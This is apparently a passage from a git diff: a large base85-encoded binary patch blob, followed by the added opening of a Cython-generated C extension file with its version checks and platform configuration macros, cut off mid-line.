z+-}&b5&KR7sfITja#2tSTkRHqwBV~NgspaqgCwD^=|ZuK(PDoP* zxpP$rw;Py_W&SIqB$hSbM42Cja4&oFwIsg^;l9O&Q+Wf<3Nat;ttMTX^3$y0zv7t{ zS5%}KpAgo$^>MiA`KGwi^m z-|yLx1L2zf>@GKYzz6lIkSz3iYuH`dkOEfqVZtNWW=s&Z zZ!L!!6W%)b7M8Z&*c!(=p6iIK9q+P$yG4qbb4>A8_FMR=_3+kziFpZhat2=1-B{RY zEw3-BmcC-shu4xC*K2SXcfSU`!yK)LYhQPvf%G?HzoF&t`&!W4=h)jd*+utx7dgmj zE=h2aE(r^3EUkf+HFnfMcD*I_aIo#Aws`bOr%$o<>my$WNxQW4N+mtH9%Xh==HHT{ z7rWb@Xv^NR5OaNDbK3*Kklp1oA{5Dy{OT<1s&|0j;|;+cEXZ1)MKgIJoJ7xBMdGZj zug-%RS<6Wxh0yRMYY|C`kYr?M%_H#&;Xx%?vq-84Nyf0ODI~87iO0aKY?8NxB%^oM zXp%NU;?X^87|9+XZXC$Cl)-hz0J1&fEJ^t5y3FzTv*;L-qC!5$$;=n*f|L@%0b=H3 zl5#>gK+L>HQdbCl0%h(YX()sZqPeAXwh&JJnX}GEeI&!!{gJ;M%IQ~F9UV4T`+lvn zja7LSfm}){xvC^TQX$rNR`0lklYYiy#%qg(%MRRQfY8yz8`;ywD=?8ETDt47;5oT%j31 zO9JM{)F*2|7KUU^&cgnzD_PiE?QAvdZ+fgL#-acIJ<_*2FOV;+&B%7nfsg&dNTGqDHO{ zw4~LY{!r2~yVEPGZ{d2_D1mN_S3_dwB_Ank6!}6YkOFTyM{MzSoM#pG=Z=0*P2y*8S|_q#Ii5wC}A$5bJWmR!q(1`-4f=kXx-85wnR1X zr`fCic=jwB1(2QZ9A$sxYazVc42I`A8-IB(2bdI zu6vX7Lk)F~TqJ2Rwgu?;j zTcBHuUM+Cv?Ex*Z>(k?(qW5Q0KI0tTw>q)lLvW{xu7IT zvgS!-CuV(fY;L}1@rrNyF9Lb7wcG)c zVL~|Zt(@>V=lMuc2PhQP)PbxEyRrFgzSb5P6Y$p2F8%1N`F+N__X!UQMvb9X(Zl=RDNO^N9U-z~` z=wapc`>*qgh4A%xAJz$@wf|GwnE*ynqj~Mt%^3t>0|q zjdA~i5qcIXBj6n{m##!G3N-1pyZ;O|dVCXtoslW%< zranCt)trsoH}!FljhZC0+orEWWnd9QyvWkJmhYhZw|0Stcc<0Eg++v|qd?gDpmv6D zr0<$?bPC%%^~0&`o=dmk<#{uHnZcebdJA>M*;7=Qk&k<@m6xu%ls!FTC#odJ9VbK{ zKLgFXb{@}enDQ|C{(em`TA%VU$gMW=>Ewf`ogdQ#8+|YT9u@1mnuv=2=;gQ0ME`QC z3LCoO(;CrGdo+=a(+&C>otEC%3Zk!N<8(k@qfxx{2$FEXG^G9}kKO339la!u(! zP~kkFNiuu5=yh1hBC-3?(-`T7`AF{Iw_JgoIutJ@|o7tpIsBb z3Qsb}KOc`Ji_4TUjD%C4Lr*A26RfVKJ_S;&NjzJT+5j?36TFW%^XNEZ4WuHjP*@0$V|B zWY6%!!%^}y5u=5}0~(Uqn&hXG*(Sba=;NFpa@cjb^I^75vz1?B@cj;+mtqUL-HpN4 zr&@&=FB}+fXaM_Z!1c*&1;(swZ^p3<_UI)~Uc&yF^E#TC2Y}m7hvTmv{#j^`i@iCvz0Z-Gg13N#7JsI}_U_y~4xwOwi zeXvHV3DT(t`$&wY=W2)t>(0Cho#Hi`B(r~=_2XG~BHJ!YLbhG6YZvis!&#rgg+)ZY z7zHA}P1+eg4z|4GV^|yL@@*IP(K$by!xr>^ushQ@fPj+Fe&e?cQw3|+@ ztHT_v2QRodb3H}|6`F|Wsg}gO700&4y%&d1l)Qc_dtvbQ!EB3o>A&GsK@hu1?}>XV zjy-$f#tYG{)+$6zbw}J?*iIR@I*u(kb>*q-Oa9c@vg8MoG4x$M*ddLFQKa;}TzV0{ zlR20#-@m0biq7(5-JkD{oT{P7b4$BF;)KX^3rbWd)7iUO-(|5wS-)hlYscS$>F)_; z>fR*g4X|taKi;3+nD{srbMy3_cvhFV0A#WzcsQ;9Eg(Kku;Hrzd=S4T7}oTk2Xd_@ zB2&KE?=YrdZq-m^%Eo@*0B$Q+VZjR$GOpuqiC;X19UFh`1ld7uz1U|7{5$P%8atYH zO*)&GzL594E7d)Nt;8!v@ZQ0_?b!G24!2{s;R|-`z)43>VvA3{6W_%-`RSAKWw>8Y zWsi+sKN`cSE0s&}j;^cmv9JgDhn1h?n~0wux^<{Sq$|7nIxX^KjMMAq+F;B36DP5c z+V5@8){lM}K6nGl2MlW4@MjF|pp+b8{k1|vqh!pi$e?}N0_1k>Uty$jMs6BJFcP5)d?5K{4)t`tqs zo}9E9u7+xY1^AO*0`X|#V=uMagZGq)*9TmsaXhvjKaPg;T1~KHt=%IacWQzcDYvT! zxmOeH854WP*J#p}-6Z-2&uG$#UEA&sxT>mFMrzNxz(faw>Uuc4>D;H!MdJ`sq$B&R z+kB8u!-^!cdFMO|R~C_dJnLHa@qW}U;_89|Kii)=Zzy{vXG;$IH1`{HjLI9735K(a(otvN6_qQxG<3mo zl2#$wsg0QU$KL8s2D7(QKTBl~jaWT`tsC7qnk~q=51pO}X-w)!>DRdQ_Eg9$f(*M| z`PGv>GvXD*_Y_S;Bh@hCMJGJjh?`DAeOuSBQ3~W_%u4MX`?)Uo?E-ulTN7+*9md|v z{u&EoM>P~37`blKbCJ@8y=E7`hgsbTnoMMyFW!DJn?K=^32bBD>v?QP-Y0o%*`yC9 zvCk%bGl{Lw-vQhjW+Vyg!d+3s#=p_{8iFlj=b+8_P|9CU&NludMk^) z=zZ7Ae)Zm5hUV%i6$Fug-o{J0*j;@e?2B6U4s}Q5pRY!KJ(BGod2A$Gob^Z+d!%4Z z0oz-0u!Jr3uEMY}LK;t|Na_7t`pzuK+zXi`t+6LtR`4(kkgAEuKZ^^NJ0UtbcWI$G z)^RX|f7vb!qStBCiQRD7B9M195s9{W;&1#@A=hWK`spuBXIs6WdD)_hh6?OQ-Jm=a ziS|kRpW3r+-S(nIiMvbP5sCH+f8Jv2#9b5FHPe?&XUAq%r z$f7G8f^*_{~J(jpSksZA7$c607qCG`yf6)<4 z`OMZDjkG{nDvO(gD3pY|N4AP;@ZeZ=YIq8wI*o( zCbB*Kj`U;4_%~FZOL{el{cFZIGq4nKx3UVdVb6yV$2=Q3czzv7nIwB=9dfeKBU7NfV1MTE(Xh>JDQp$R;>(~ay8nJ(e{c^^2rC;L3#hh3j^TN2h=4`AgqLK^Qm?DmY7-f-?~MJJ*KGZy670mDKI6GF*bDs4F*haO0cqC(cC#}T$gV{5EUq(annszNR&_5DyPh?9HA4p`k4|!+^JCycI8e5(JY(8t4{37&3 zNaOKKDZPYC-!TL-Pe5jm*4UFRNxu($!-JZL40K!iolc03NbhCR8t1isVV$yzY%@%{ z!;DdELIFG8_qKlQz_0^+fqda`wsZK35$w&2-@2F`8}-{LwrI=}eBmtj@m%(O-r+p< z(v`1Wi48tlgMsg*{SKqe)1(u7zwd4s;weq~vb7^#Ls#jbCU`KuUju5%QOi}x@O^dU zyGi=mU|7&?U1qzEL!r1*Uyos1(?3ebLx4vnvVA3WrD(hKJ-j?E<>wT%U7E-tNt+eQ zH|*U?c^?wPG&zZNz<|WM#?mR4Qj7KdSoZ7q+tAgxLX+;SQS1r`Y7)=ZrEWl$pQ8!p z`cv0|tkxuveKVo%66`|I1d}yG)(^qnjr*+7Z5Xx%Wg^2ymJNFpWU3}9?Edo~Mdi6j z6FgQu{9~lV)0&*j&g{-^o^UFo<3AMetVomfN8CUnog(gd#<$zBd0&wD`mh^I;Ne!lDQ13N4yjqNwLXItBU(w;T7|Druw1T8v{eKq6u%h)#GS3V3u z9#l?HU}iL+9qg=0C$?$EHjrsH^5yg&rlTm@$foJrKz3+y0lQ=7voqPhyq|l~A%94z z$LFl3Jv$Bi?`-6TDa)|nRjvtkY0kJ09xm4e-&`vG0SgfC*vKx=mmZ__?>4embSP3E zw*0CWt4i6LU>~V@3pyQt*8~;ij5?UmB65IhUCROP-P*<3?1LF!A#@f&heMEOwanFQ z%Zx8(uzBVZldUORU&c0;Z7yT4mAzTU-YWYL!-G9q6tn)~6Mx1dRGW1qmJ-6&14_7VFiNP#BUCK8Lx(0ZCCD6X-nEn4r_ zB!k^KYWXO9kn*Wf?72}JN3qvOy*&zB*dJH6$9D`SvQ5L^9M0Yv{^@YG8}9&PhlU?T zWw%fd=uTz#Vb0fxdxFRXt;cRr?&H~})89Cq?Ku7O)A8jU?W8}Jy7;cSgr}7tauwE7 zdgC+2n@8^$?YM(#=rSz{tM+~oec_dw;5qx=pMmVs1k;MWp9eXlNq>CO=#zmcXU|0V zcx}Ij`mueZkHW`@JMi&REs1B>`@V*D^&U;I;k3`uKG;2|Nk?{|@2`+Kt_ePH(f31; zY4i92G(w3nou}I(P#O}G^5y-C6B%U=~unuIuCP{4n zfCb5RB8MrKgdC>C{nHA;djpQZ?p-yhU@H>WC9<0bY#hKoO4*%)C-lBaVFyxjj+BqHp>R*T1{Ax`)u{Zm_-yc(Bx|cMP z-7>6U7<+oy^JsGa_Ph!!Ma1N46o{05<^|=^ zKunMBi?=O@WCNJpnEi5i{f1^eZNDNe%wa3_5B!R zlO`S6uYGO?Nqkua8=veRvRHDz+!&lVr1;sKU8=)8;5?0b&X5})z&pG z&p^*j%b&#(VQ1_53~}B1W2G;SwI9JoZH{3t#=eht(eRH2FK)e|4YpZokpO$8)!|lb zC;J_p_scal*eR#8hE@%&*qT;Pw_>mH*T!#awXGGlLVu#Pua04##B4yjFkd4Kpm;p> zbtQWy=J^;*DgQ?~at+cmS|lP!Z)@xxq^(U#yAINC8p$BF|4fOfAbs|^B6yK^KbACu z9glfE7GG56ZRlyc)y+Qa-I!})*){B4;C>o2JURPMd}$%(b;NF@#(4AI&e%6$rAm$R z&?S5&7LWRV4NI-k7<=bp=7HS)rSd6CFgEI&5yALSBZ4taV-<|_ zy-F}jFar8!L@;jAI3gI!G}gg*OQVQjw1r9d!S^RhYaH39h-*F>^oB=;hZO9ybErWcczRqL&VsB~1UJ&0M+oUl%KC$n_8gU)=32PfS-`+N^s7Ril6<0%N zTVvwVJQ5y`i5pZbPp^xKdyY6aYlv49|AhE`#Pg0wa1Qb3l|1pQiFa*n7%@h? zVO)iX;DDGo>WC*0Pb2;XI8Wb$q^E*-W*e!e$f2i!c%4JfX>n3d(T`Gr3Qr|C4^N{* z&s)Ts9D4e;j|$J5?6|WxcD7}7?;Zb`22b}AvbLe@Wc)df< zfRm)2M$&U5*=GSb*VE+CgXet(H~ucesltDfc!SxUU9NP@G7yBaUadg?;jVmq77@#2bm{ko+m9N_pK15${dB1GNBQ)Q|j_PkdpFH1Hs@ z^C9BfVkw|>uX;NO* zW21<#C4L3TPa~etLCXJ&;x(JNYVXgb@ZU#VHU44Zjl_$(k{;5(Tj}p2xhmJ4&meoo zOFoJ~y@;>tCONXJI7Slh zaE|229^xn@-uYa~QGCSVBi=;ef!W1zE%5{j{}keP60hqb^{D#iIpS0LNKV<=c$xS* zhaGk*Jzb@IC(@5kCkgvB5m)u(X&ohBM|MDSAdUp$s~kL;_)-TSO+3M2pG%21I{ckO zyeVFWGlBeFPTZh)p;{IPK6og?U*w3_HsbRf;b|hi!IACs5Zq>OT3QwVB$9rPa{5r`0d0EhyLYCp7Nn8U#o~W_LSinMSAen0b#c~;>pAt zl^)`$#NQ%5fVe7OyNEZPFZE}V{1?Ox3eP~|2Z+~`yt2%!z zFXD5l{HppqmH1Le`Iam*#&h2&K|a3k>|vV$sjc-4=H zR|k?;de$iYj`(gQ-pAqZyTk`LjCeK4D?QH<@8ht~>%>=)yejW_r>F3@(9wVRg!m#yy5J>)LOzZ1m74cB zt&8N1)LwU^ax|FuG18;TQ3ml_9s2W$&vn!%<;1U~`cT&Ph7lsZoZ_YWhkqwt?$EP@ zc%7qPv4MDFXQ{adg?|rm!;$~nAmSqbILcQq;=3IA;UXnZT(w7q#1kCpRZ2YHkuHAX zeuo`uiPw=HRZq?%UPks&{p2OY^Bm>3fp}*}cwQv_Gs&xd>~`XN9d`bbcn61`BgES} z%2(W9q&+>3aCRjAGu2nBUhPFZMEX^EA5452=~3lkH1W2M@Z=NUOZruRzLa=5$t!z? zh&NJsRQ-^fh-W$cy@R;n@b^LD7dztnB=Nh6tNgry_)v$P-y^=4?5X;tyNMS$#tRGs zOp$LX|DQ|wyg%_Kl1H;5jtRsQh(oP7{KO3hUqpNwg-7L+mBbH|9aKH=B=KF2eDxaf zCeowotM`e|Bt0tKza+lIVYlyz4|CZ0cj9Sehw~_2y-{&-`|NV~n@T*(5w9#I@5rB* z5-*~BGE>=&_;(IF{EhfrN4va$_+E$na^jymcmweP6knD9*Af5NA^#fj_Z@sE@$C-& zIq@wHevtSp4*olFgW65ipX`E+$L-w5k)H<;&m%o5eMb?mbJVL-h-W$4$18{rb?~c+ z-|omKw-Dd%NcVe)r;)!SDIK3A-p8T;RpJKat3D+E9q~6D`mu>g*kQgSJSQc{`IbhS zSHY_V#nGMkqxIs_=uSM9xL&Q1w~ajFMV+J|hB@LWCtgRKzFluzMLeyul;1AJjR%Q$ zp!uKq#5WUPOY=pK6aSWY+Fzs|zHY$})?LPHElp7UC~q5G6{iTzkmAN5;vLSDf=h@` zR`SH_hzE!d=pp45pQq#<{9z@3ex&?nB~SbX(!ZN{bx$d;cnm5KKJPc6m*h)HzAN$V z#9t&kq!3@&Ps%6CA0wZ5V}A+gTWUstc>M*E=ac@Mh#N_gPayp(i036segVlpN4$=B zMy$N?F7fRtQoct17>AS|T8L{R{at%de1}OvTDmkYB%Ux*@{uGzm3Yx8$#W?@R}x=K z{4DCAEGE8v4C$9Y#;e2|GbMPM8pt1s*Igp{dlave&zIpW%8^{PM?HyG6Q4oy!-;Rt ziKPSGOc-~~mrxC}q8zNt=CGL~A zjW|pQ@cfoARf125cPDO4mtYTtCzbd?S{PJz$XD{0NqPEol~JbnOvzO{avkvw#79%Z zjHg9Jc#6uT{QVUE^-6x0@SPkU4H<0(>ptKyWwe`+Ur>qMzPElw7caf2nlnE1kxlJB1+`5fYP|B!rgw&ZJw zH+>}eEEzrH81X#X6s7ps3#7k|w5RDI>CCv5cs1<|Qv6lo3A8Uq@zzOF&vx2|qx4TC zp7xzoJe?B$Zg8G1^#K{cav6N%QQ}Qr$hPh}RM4`yTjlSjksN`2;}? zK_%o@OljffA6sPZxSR8wpge5;k%KKg-ze2+ve- z!#LfzgXSxg{1v39p6sCbY{Abq_L`C5ybV0oILR>bl%)J!1l}PMiK|Ck_&OK9*@eIB z!gssypItb^LPm!u;q2P};AGq*+F8sI) zKMNCO(d^mXg(tf3;Vyif3!mx211|jUE_{&-f82$??ZQ8F;orM(1MOZkyPe{~<6U@) z3(s`nlU=yih1a<7f4Fdb;x1~u*1GTwE_|m8{|fw!DCI6@P;`Ggy72Q{_{A=K;OWuz z=eWq5E_|*FzuAS~?ZO`ek7kFLT;$(z;d@;8PcHlv^uMCz+jtk=+l3DXKLhQlbD!!2 z7x~F9ywZhV<-+lOt*GH&=E7fc;agq!7cTq<7v6eE^ze*0B|7iyBHsr*T7DSeB0tfE z7rXF~3;(+dpYOt#x$wtb_(m80i3{Hk9<5#e)kPlPn~jLY3%}omuXW*XxbRP1_|Go<)S=Ps*2{&by72KXe5MQcx$rqI93R4nn!b0s@P}OZ zYc71J3;)W6A93NWheZ!(2N&Mmg%5M#V_oqlhdW&ON*Df&3xCyxf9}E$xNrjtRp&+N$94se*1ziO z!iTuU4e+$agwRtE#cfv{QasZA;|OtZRn zt{JX2!$Hq%Z!qLFhn9Q%rIk1}heD*v>ko&_N{P&imq5(WtdO1zmazEcTRCa1TuGEX=+8?|GE0eezTVYW!g{2LJPwOCU7HM;Cex7*$Js$>ZAE4G7G)rni;XsusQ{lho%@FNPga@Y2 zUtPmvlZX785eNoq!al!OXItlu^f?}1_)qR4&s46N?$1a|1%<}(pzAv=9Kjoo2t2=}Hc^_o7Td!`XG?4lMP@A6jCXKlPwx z7P5Lgf7Ewwv6-6hO-pR`=f3bBoUIF&qx&#waEx}(DVHS%iBX=BD_y$EhV#S4SDS~FDbEiuCZvr1SU!R5w4rY6z<&mEN( z`qIoczJXx?p%;H%nedESU5k8+A-fl4*QoON{1_}^ zgjyZ+@^PxKG-&|k=o1Q}>EYuN zBcz8S>mpSOF*FaClv7ztD#3UvjLDN~5lUXu*wnz&KNheJpK@~3^T!pas>TYVO(ZkD zpfDqS;zaY3vD2sK=8q{bv&R-@<&OE^Inw4DkJ%Sg)fla1Lm*ELsVW#_eB`nXw-nnX;qr%L{pPpBk zTaZ3+tiCUiIXbt{9GjCq+IELm@HLiFOqo;$JiP6YiutHiOl6gN!X8ceD4~7z&Fc}@QKL;86e)W z&{;t?3>Oje@%~E8h+N{WEe?2srK4+nm8D)aaIP?&cf(;lVOC*gr;pDubH)~G^*P?~ zoItR`GEGjvob9Qs;jn-(`nq`5YSrZbaRIA9JJlZVGH76I0u>zFut*-R?eWCKvo=T6u z#9P4IY0HH-RE=z81DGDNMLtqmT!qGA3aMIai12I*kLlQ8FkqR_OjdPBg=r=yYjD z+G&a{#Di?y7GRrlE4ZFg)V%?}KVlNL!sHkQ$~FfH<_pN#N!-vL1I|Jh%z15=g{rvT zh&)cR;vO%&R*I`TVRX_$C+NatVP(jypt51VT^jI*AQf{Z^j z$ClGP!C5xnLuQpHSYgX%o>0gew!9D3`b&HP#FC~nZBD6Ol7$V^jXcw9hsA-?S~J2h z#g5{xtF9|+yg|#>CFLH=dpQklB^~DHFezn);e=`G3YxhNolr5AV2V713R{^>rm_xi zNhKoA=N^5sVU@8e;q?`&Qa(*v;^h^s%|XCcni0e@-z@822jMYE`U37Ivk23+K`B*gI^STY%weK7S~u2EA@s-g1&0oT1JIQ zld95UrM{2{Q@c8jvg;x5S=8%~5Q;KePtnkNga}W*$SHS6DtaSoL`P=v&czTSj2hjx ztWjakQY%b2wPk!UhVf!~h|jd@Q0Rpxsy0F*n0mFUxpKB7KT+c>U)djdDC&t5J>o^p zDi=J4Rz|R-F*3xmnZEW}XI7WOCkD9I9eXIF%5odDF1js&R;%$jAZ+j!4fE3d*@pJ$ep>8iY8Ph`L& z#*!6gRWM*8p9Ouk>X}CIGI)O3=g>YxM9|(~@Up7Qp(Tz1zQ@*AQtOeb&UUO4VtukX z3zjx9**T-UY4etrJ?*PusGHL4oPiDdMnxag=(8+UktS~7I%DQz7oE`V{;V>SqrNbSZWQM5oyLjWIG%R zR0fceP-``-q3TLoHiUdI9Gc?`tJP2FjcCf@)D{b@X<0E0&%$s{2QOT1k777b;kEK7 zGMdNgn@9Ev#Ffd1XuQ#x6wyM;d)bcM4T|bfdt6hEn%rwTn`OcgRX#DU)^cteH8?xJ zbRD^@TA}*Le6?Mx;avn?Y4bibWlI!bG?l?Bu}o(Z4EpWC$C5Vg;*!L{VoqGxT6^Ue19 z$IdPBiq)(qX|I~57+5Lao1Y7)l-^$7Q|nwS8Orw ziIJ#(DoSlZI8coVlAy|Ckzo~+nn}J;(4&*U%49SfbfT?Yra~j-5u{7zh_RWeCNfUc z#Jd*0$kvbtFwcX%Ex97Ic`7kR#^|;*6eTP3*&m%PbylJE=uA%tlNObge3~eVTWvco zlk4}U2YHRbeYce}=ohoFyo<)IND||`er{2eWIobGci4cqll4Z9;A) zx%8hCP$O|30B}CDfqE~;+MmIxTrU_Wwr1FF*%k6xJ+q)vw2BdtF*C4f!=4(Jsl=V= zwu*WSGv>V2iK5<&m<+V#h(g|q{b70u38z+>0`^;&iYs)Cq(tRg!sprGyc+hCQ>EUy znC|CYC}-!|s>yl1Z`xWdZ4%cTB0$c&d|ZmeGVQ$?#ZH)J;okjUml~Saook5?e?Hya zg5dwbJbeqaMq5&7fx16i0%?KjX0740K>r_a%kdPKpa;eKAf-uarmPB!XwAxu$*Oy= z=Uk!3QyBtJzY_7{>?K0(m=W?ia zsAkfd>E&SUP?e}=Ivl7Ssy3^6JN}ZJk+{{(RMm`3*IZS9Tn?J6<;0TMOqZ^;Kr`L{ zS#{J*HO;If#r6YKyp-}*cf`c}61H`y*|mrpRmIk{o9)IdZy19c?Lu{QO-~5_W8z); zp>H_6uyO7K-xG6!6Bj>Z-z-v}<4VQU3{?gY$P!G6glo#muq7Xph~8Q742xo6tbp+8 z6dsAvfZCQ)ieUocP&3yk2~=Ukj9FJP)`}uwmSIxS^aO*LGUJnPwT9U3VwToaRq<5; z+ZE=lunvO9|L#X262n8_5%O4Ri%rVn*(zC~BfR4+VY>v$$2U%nC zfeN!Tl+$q&b4RC7G;=dE3&s|jg?tSb3b}{aHKT_4e8i9$;Byy%G~z0twfMZ+iLi)R zgV*=QOXnC@m<6>kSCt$m&?-K;lx2wB7;0`?iKTzAzh|e3e9qBu^kLRKp&5wV9av51T>|-tg%Rb)klkDuNwr5}(hU zQ;t=aP&LMskTS>eoe}xolA2%$Q!sp_%7e`fC<0&GCrrRARXt0?rLyi!!mW;xEz(G0?tXaO^7~ z&-fe!PfhKVyt1-PM35-hB4yx&Pd-ic1Tpu-&1;TPd!g)M_f}Phu^c3}Ai#;VEH{tz zg0$oWV5$I$lvIjH>f0*Z8PLz|%RSBEDPM^UsIwVvs4!zzPhaHw#N3;h%tjhO2d(;O z>%kC|+R_Y`cRbhfRWwYf;t7+I@(Q!eH^Kfp`|HYwhYxuy8caew zxm8ie4ivS|M;GVuV<0HY9>Tx}{kXPof}tlpK=}lWnEAvx&-eM18+3~1plowFUNuIJ zmu2aotjA5J<3jTra3tN9F+i~%O&RBDQd@JffwMU{ol z?!3h6)`HK)Ve4W>xd(Y3kr&manTe@fY!2a%q@fth!UQ%i3)oU>!aJEM_(m>mBlu>k zTDVMP+dzTL#j|l`m^qRm<<_aL)z(So#fk@6h8uyDjg8EF<|Y2X9Df#n*ekCVQ-bDX zKkDKNIoGYjfkMS=E$$uiQf>+AXH2ErBRoDd)n1X4ZRC$MIhPhbQ?`%r*_`Ob1Afkm zpK_d4I;djR#YffKs4*}j$@gSsR(i0-A<`##2hf~?gy1ViR>XLdi-4j2^Q(l>H^+wx zgM3dBnQtPVv%|8HuIKELo9LbGt(3vFl#^9ep1_KQTmpo5TruSX%G_!h0nUY$WIo{4 zkeKLJnNU?!8E9HnDdc%oxS@C*%?8%<$&D)I^64eZsM&H$vXyz$Lz4?Lhr+Qa zQsfLZ{a9MLm$^W8hIlE>@L*Ypn@I)E8|FdC6B&lj%&8KiEWsV=M6n$4N&>zrDN%d+ zBV;G@&3N+ZF}Zh-x3+nKP_Dm{XI`H0!eU|>TbWFl138%LS}wpdv#%J-kxGUFF+NnF z7PzIRh^cGRPR$cg5l^&w~plo3E>;l0tzS%yJnpV?B`QJzi)m9--<2M|Xzvb!-Yu?_Z zS^k=!2P1-+FXE=Xt9 zm0=@EjChi8nluY7xH!SHo<@?`%9X^&YLE_y_2VROIgQTBOQB6&NgZ;SW(XJR9A0^< z@U#L~%{3#Gd|;4N910m&U8oWp@sh-bBRJuk3&7>2kMBZJw~C8{-r4Gk@6b}`Fq%3Q z8@KG&0qo`CTgOOA&_7FFM|tG_e}%e2Iu3v8ZG5ZfMExc>w6%3yKCt* zjX2bE`wFJx{Pk)NeUtf48|$ z>n@xd`d3~W&hQg9=HP_eM(L{~_v&{k#m8ws75{6<{b*9y8Si!ChyJDbbN6TC&uPC~ z!MIJ@;7=TRk-t2D*$)*C#csrj-F*VN*T2d`a-iNNp?+_7xKEoV1=X*TBj@^E6pG*D zaGyu+)o+JC@qeYmeNmD0N&OC6q*6w5<*&Rlj7M=|kH2~^ruxO}Q6dhf{nn6s%NL%T z`5}K7^^sTV-vo6+zt7>9`>))q_i3u%zd1Z~TpF)B+;_M@`m27k{z4wnkHehCHgLR! zltOFh_l`DBlzN=<>RSDN1h=Qz+^hGTzR^tgd*GJmU1c@(p3&{(zL6UT2QPp8Q2wfP zTmr^Ll>3D<<=Mg<`8$o=bGQ6Z?$z%>FuQy8e$u_U(tU!%;L4r)J?e0;-k+LKDBaho zg3dk1ks$uH{yC0Qu1iWAhI(&meWfH>cr~j1NU&evoFVW$`~w_ZxyNgeBMvUh5A}Nr zxtG-XcPsf%pPke;9dL-}|UahX285RLV&gPT4*#?*D#XJK^ATWoYUA1iyy3 zxL?>$x 0x03030000 + #define Py_LIMITED_API CYTHON_LIMITED_API + #else + #define Py_LIMITED_API 0x03030000 + #endif + #endif +#endif + +#include "Python.h" +#ifndef Py_PYTHON_H + #error Python headers needed to compile C extensions, please install development version of Python. +#elif PY_VERSION_HEX < 0x02070000 || (0x03000000 <= PY_VERSION_HEX && PY_VERSION_HEX < 0x03030000) + #error Cython requires Python 2.7+ or Python 3.3+. +#else +#if defined(CYTHON_LIMITED_API) && CYTHON_LIMITED_API +#define __PYX_EXTRA_ABI_MODULE_NAME "limited" +#else +#define __PYX_EXTRA_ABI_MODULE_NAME "" +#endif +#define CYTHON_ABI "3_0_11" __PYX_EXTRA_ABI_MODULE_NAME +#define __PYX_ABI_MODULE_NAME "_cython_" CYTHON_ABI +#define __PYX_TYPE_MODULE_PREFIX __PYX_ABI_MODULE_NAME "." +#define CYTHON_HEX_VERSION 0x03000BF0 +#define CYTHON_FUTURE_DIVISION 1 +#include +#ifndef offsetof + #define offsetof(type, member) ( (size_t) & ((type*)0) -> member ) +#endif +#if !defined(_WIN32) && !defined(WIN32) && !defined(MS_WINDOWS) + #ifndef __stdcall + #define __stdcall + #endif + #ifndef __cdecl + #define __cdecl + #endif + #ifndef __fastcall + #define __fastcall + #endif +#endif +#ifndef DL_IMPORT + #define DL_IMPORT(t) t +#endif +#ifndef DL_EXPORT + #define DL_EXPORT(t) t +#endif +#define __PYX_COMMA , +#ifndef HAVE_LONG_LONG + #define HAVE_LONG_LONG +#endif +#ifndef PY_LONG_LONG + #define PY_LONG_LONG LONG_LONG +#endif +#ifndef Py_HUGE_VAL + #define Py_HUGE_VAL HUGE_VAL +#endif +#define __PYX_LIMITED_VERSION_HEX PY_VERSION_HEX +#if defined(GRAALVM_PYTHON) + /* For very preliminary testing purposes. Most variables are set the same as PyPy. + The existence of this section does not imply that anything works or is even tested */ + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 1 + #define CYTHON_COMPILING_IN_NOGIL 0 + #undef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 0 + #undef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #if PY_VERSION_HEX < 0x03050000 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #elif !defined(CYTHON_USE_ASYNC_SLOTS) + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #undef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 0 + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #undef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #undef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 1 + #undef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 0 + #undef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 0 + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #undef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 0 + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS (PY_MAJOR_VERSION >= 3) + #endif + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #undef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #undef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 0 + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 0 + #endif + #undef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 +#elif defined(PYPY_VERSION) + #define CYTHON_COMPILING_IN_PYPY 1 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 0 + #undef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 0 + #ifndef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #endif + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #if PY_VERSION_HEX < 0x03050000 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #elif !defined(CYTHON_USE_ASYNC_SLOTS) + #define 